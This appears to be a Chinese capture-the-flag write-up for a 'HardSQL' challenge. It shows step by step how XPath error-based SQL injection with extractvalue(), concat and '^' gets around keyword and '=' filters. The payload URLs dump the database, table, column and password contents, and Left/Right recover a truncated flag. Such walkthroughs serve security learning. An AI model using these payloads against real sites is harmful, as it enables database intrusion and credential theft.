HardSQL

打开网页,应该是这个sql注入的题

开始注入

使用万能密码试一下,回显了一句话,通过常规注入回显的都是这句话。其中union,select,order by等都被过滤了

之后发现这道题要使用xpath报错注入,函数注入

extractvalue()

extractvalue(目标xml文档,xml路径) 是对XML文档进行查询的函数,函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,这个非法格式的内容就是我们想要查询的内容。

这里我们利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

最后我们使用“ ^ ”符来连接这个函数

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

爆数据库

爆出数据库名geek,然后接着爆表

爆表

?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23

结果回显这个页面,说明“=”也被过滤了,这里我们使用like来代替"=",得到表名

爆列名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

得三个列名,分别是“ID username password”,

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

爆数据

接下来爆数据,得到flag,但是这里发现flag不全

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(geek.H4rDsq1))))%23

Left Right

这里因为用extractvalue()函数,一次只能显示32个字符,我们需要用Left,right函数拼接

先使用Left把左边30个字符爆出来

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Left(password,30))from(geek.H4rDsq1))))%23

再使用Right把右边30个字符爆出来

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Right(password,30))from(geek.H4rDsq1))))%23

连接flag即可

原文地址:https://www.cnblogs.com/love0017/p/15553059.html